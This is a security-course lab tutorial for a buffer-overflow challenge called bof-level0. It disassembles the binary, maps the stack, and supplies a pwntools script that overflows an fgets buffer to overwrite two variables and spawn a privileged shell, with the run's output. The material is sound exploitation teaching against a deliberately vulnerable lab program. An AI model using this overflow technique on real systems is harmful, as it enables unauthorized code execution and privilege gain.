=================== bof-level0 tutorial =================== Let's fetch the challenges for this week into your home directory. You may stay at your home directory, and please run the following command: $ fetch week2 Fetching week2 ... Then, the program will create all the directories and symbolic links to the challenges in your local home directory as follows: $ find week2/ week2/ week2/bof-level5 week2/bof-level5/bof-level5 week2/bof-level5/flag week2/bof-level5/README week2/bof-level0 week2/bof-level0/bof-level0 week2/bof-level0/flag week2/bof-level0/README week2/bof-level4 week2/bof-level4/bof-level4 week2/bof-level4/flag week2/bof-level4/README week2/bof-level7 week2/bof-level7/bof-level7 week2/bof-level7/flag week2/bof-level7/README week2/bof-level1 week2/bof-level1/flag week2/bof-level1/bof-level1 week2/bof-level1/README week2/bof-level6 week2/bof-level6/flag week2/bof-level6/bof-level6 week2/bof-level6/README week2/bof-level2 week2/bof-level2/flag week2/bof-level2/bof-level2 week2/bof-level2/README week2/bof-level9 week2/bof-level9/flag week2/bof-level9/bof-level9 week2/bof-level9/README week2/bof-level3 week2/bof-level3/flag week2/bof-level3/bof-level3 week2/bof-level3/README week2/bof-level8 week2/bof-level8/flag week2/bof-level8/README week2/bof-level8/bof-level8 Let's get into bof-level0. $ cd week2/bof-level0/ $ ls -l total 8 drwxrwxr-x 2 red9057 red9057 4096 Oct 8 11:25 ./ drwxrwxr-x 12 red9057 red9057 4096 Oct 8 11:25 ../ lrwxrwxrwx 1 red9057 red9057 38 Oct 8 11:25 bof-level0 -> /home/labs/week2/bof-level0/bof-level0* lrwxrwxrwx 1 red9057 red9057 32 Oct 8 11:25 flag -> /home/labs/week2/bof-level0/flag lrwxrwxrwx 1 red9057 red9057 34 Oct 8 11:25 README -> /home/labs/week2/bof-level0/README You may see the challenge files here. Before solving the challenge, I highly recommend you to read the README file in the directory: $ cat README Stack is configured as follows: [ebp+0x4] return address [ebp] saved ebp [ebp-0x4] [ebp-0x8] a = 0x41414141 [ebp-0xc] b = 0x42424242 [ebp-0x10] [ebp-0x14] [ebp-0x18] [ebp-0x1c] [ebp-0x20] buffer Can you overwrite both a and b to make: a = 0x48474645 and b = 0x44434241? So, the challenge is to change the values in local variables by exploiting buffer overflow vulnerability. Let's take a look at the binary program. $ gdb ./bof-level0 pwndbg> disass main Dump of assembler code for function main: 0x08048660 <+0>: push %ebp 0x08048661 <+1>: mov %esp,%ebp 0x08048663 <+3>: sub $0x8,%esp 0x08048666 <+6>: call 0x8048570 0x0804866b <+11>: xor %eax,%eax 0x0804866d <+13>: add $0x8,%esp 0x08048670 <+16>: pop %ebp 0x08048671 <+17>: ret End of assembler dump. And let's do a quick reverse engineering on receive_input(). pwndbg> disass receive_input Dump of assembler code for function receive_input: 0x08048570 <+0>: push %ebp 0x08048571 <+1>: mov %esp,%ebp 0x08048573 <+3>: push %esi 0x08048574 <+4>: sub $0x54,%esp 0x08048577 <+7>: lea 0x8048727,%eax <-- 1st arg.. 0x0804857d <+13>: movl $0x41414141,-0x8(%ebp) <-- ebp_8 = 0x41414141 0x08048584 <+20>: movl $0x42424242,-0xc(%ebp) <-- ebp_c = 0x42424242; 0x0804858b <+27>: mov -0x8(%ebp),%ecx <-- 3rd 0x0804858e <+30>: mov -0xc(%ebp),%edx <-- 3rd 0x08048591 <+33>: mov %eax,(%esp) <-- 1st arg 0x08048594 <+36>: mov %ecx,0x4(%esp) <-- 2nd arg 0x08048598 <+40>: mov %edx,0x8(%esp) <-- 3rd arg 0x0804859c <+44>: call 0x8048390 int ebp_8 = 0x41414141; int ebp_c = 0x42424242; printf("Values in two local variables are:\na = 0x%08x and b = 0x%08x\n", ebp_8, ebp_c) 0x080485a1 <+49>: lea 0x8048765,%ecx 0x080485a7 <+55>: mov %ecx,(%esp) 0x080485aa <+58>: mov %eax,-0x24(%ebp) 0x080485ad <+61>: call 0x8048390 printf("Can you change these values to:\na = 0x48474645 and b = 0x44434241?\n") 0x080485b2 <+66>: lea 0x80487a9,%ecx 0x080485b8 <+72>: mov %ecx,(%esp) 0x080485bb <+75>: mov %eax,-0x28(%ebp) 0x080485be <+78>: call 0x8048390 printf("Type YES if you agree with this... (a fake message, you may overflow the input buffer).\n") Next, the program gets input: 0x080485c3 <+83>: mov $0x80,%ecx 0x080485c8 <+88>: lea -0x20(%ebp),%edx <-- 1st arg 0x080485cb <+91>: mov 0x804a040,%esi 0x080485d1 <+97>: mov %edx,(%esp) <-- 1st, ebp_0x20 0x080485d4 <+100>: movl $0x80,0x4(%esp) <-- 2nd arg, 0x80 0x080485dc <+108>: mov %esi,0x8(%esp) <-- 3rd arg: 0x804a040... 0x080485e0 <+112>: mov %eax,-0x2c(%ebp) 0x080485e3 <+115>: mov %ecx,-0x30(%ebp) 0x080485e6 <+118>: call 0x80483a0 pwndbg> x/x 0x804a040 0x804a040 : 0x00 0x804a040 is 'stdin', so we may write this as: fgets(ebp_0x20, 0x80, 0x804a040); and, this fgets receives user input terminated by either length 0x80 or a newline ("\n"); Ah, wait, how many bytes does it read? 0x80, 128. And, what's the size of the buffer? We have some local variables at ebp-0x8 and ebp-0xc, and our buffer is located at ebp-0x20. Let's draw a stack: [ebp + 0x4] [ebp] [ebp - 0x4] [ebp - 0x8] 0x41414141 [ebp - 0xc] 0x42424242 [ebp - 0x10] [ebp - 0x14] [ebp - 0x18] [ebp - 0x1c] [ebp - 0x20] buffer for fgets And our fgets receives 0x80 bytes. Then, we can overwrite both variables at ebp-0x8 and ebp-0xc! Let's further rev. eng. the program. 0x080485eb <+123>: lea 0x8048802,%ecx 0x080485f1 <+129>: mov -0x8(%ebp),%edx 0x080485f4 <+132>: mov -0xc(%ebp),%esi 0x080485f7 <+135>: mov %ecx,(%esp) <-- 1st, 0x8048802 0x080485fa <+138>: mov %edx,0x4(%esp) <-- 2nd, ebp_8 0x080485fe <+142>: mov %esi,0x8(%esp) <-- 3rd, ebp_c 0x08048602 <+146>: mov %eax,-0x34(%ebp) 0x08048605 <+149>: call 0x8048390 printf("Now the variables store:\na = 0x%08x b = 0x%08x\n", ebp_8, ebp_c); 0x0804860a <+154>: cmpl $0x48474645,-0x8(%ebp) 0x08048611 <+161>: mov %eax,-0x38(%ebp) 0x08048614 <+164>: jne 0x8048642 if (ebp_8 == 0x48474645) { 0x0804861a <+170>: cmpl $0x44434241,-0xc(%ebp) 0x08048621 <+177>: jne 0x8048642 if(ebp_c == 0x44434241) { 0x08048627 <+183>: lea 0x8048832,%eax 0x0804862d <+189>: mov %eax,(%esp) 0x08048630 <+192>: call 0x8048390 0x08048635 <+197>: mov %eax,-0x3c(%ebp) 0x08048638 <+200>: call 0x8048500 0x0804863d <+205>: jmp 0x8048653 Yes, it runs get_a_shell.. } } 0x08048642 <+210>: lea 0x804883a,%eax 0x08048648 <+216>: mov %eax,(%esp) 0x0804864b <+219>: call 0x8048390 0x08048650 <+224>: mov %eax,-0x40(%ebp) 0x08048653 <+227>: add $0x54,%esp 0x08048656 <+230>: pop %esi 0x08048657 <+231>: pop %ebp 0x08048658 <+232>: ret The (summarized) code looks like: int ebp_8 = 0x41414141; int ebp_c = 0x42424242; char ebp_0x20[20]; fgets(ebp_0x20, 0x80, stdin); if (ebp_8 == 0x48474645) { if(ebp_c == 0x44434241) { get_a_shell(); } } On the stack, if we put 20 bytes of 'A's, then the stack will be: [ebp + 0x4] [ebp] [ebp - 0x4] [ebp - 0x8] 0x41414141 [ebp - 0xc] 0x42424242 [ebp - 0x10] AAAA [ebp - 0x14] AAAA [ebp - 0x18] AAAA [ebp - 0x1c] AAAA [ebp - 0x20] buffer for fgets (AAAA) and if we put more bytes, such as BBBBCCCC, then the stack will be: [ebp + 0x4] [ebp] [ebp - 0x4] [ebp - 0x8] 0x41414141 (CCCC) [ebp - 0xc] 0x42424242 (BBBB) [ebp - 0x10] AAAA [ebp - 0x14] AAAA [ebp - 0x18] AAAA [ebp - 0x1c] AAAA [ebp - 0x20] buffer for fgets (AAAA) So, what we need to send to the program is: AAAAAAAAAAAAAAAAAAAA (20 bytes of A's), 0x44434241 ("ABCD"), and 0x48474645 ("EFGH"). And to send input to the program, we will use pwntools. Pwntools are python library that makes our exploit development easy. To send "A" * 20 + "ABCD" + "EFGH", we may write the following program: $ cat > exploit.py #!/usr/bin/env python from pwn import * # create process and run the program p = process("./bof-level0") # send data with newline p.sendline("A"*20 + "ABCDEFGH") # open an interactive console to the program p.interactive() Running of this script will make the stack as: [ebp + 0x4] [ebp] [ebp - 0x4] [ebp - 0x8] 0x48474645 (EFGH) [ebp - 0xc] 0x44434241 (ABCD) [ebp - 0x10] AAAA [ebp - 0x14] AAAA [ebp - 0x18] AAAA [ebp - 0x1c] AAAA [ebp - 0x20] buffer for fgets (AAAA) and will pass the check. Let's run it! $ chmod +x ./exploit.py $ ./exploit.py [*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/users/red9057/.pwntools-cache/update to 'never'. [*] You have the latest version of Pwntools (3.12.2) [+] Starting local process './bof-level0': pid 16392 [*] Switching to interactive mode Values in two local variables are: a = 0x41414141 and b = 0x42424242 Can you change these values to: a = 0x48474645 and b = 0x44434241? Type YES if you agree with this... (a fake message, you may overflow the input buffer). Now the variables store: a = 0x48474645 b = 0x44434241 Great! Spawning a privileged shell $ cat flag cand{!!!!!!!!!!SCRAMBLED!!!!!!!!!!}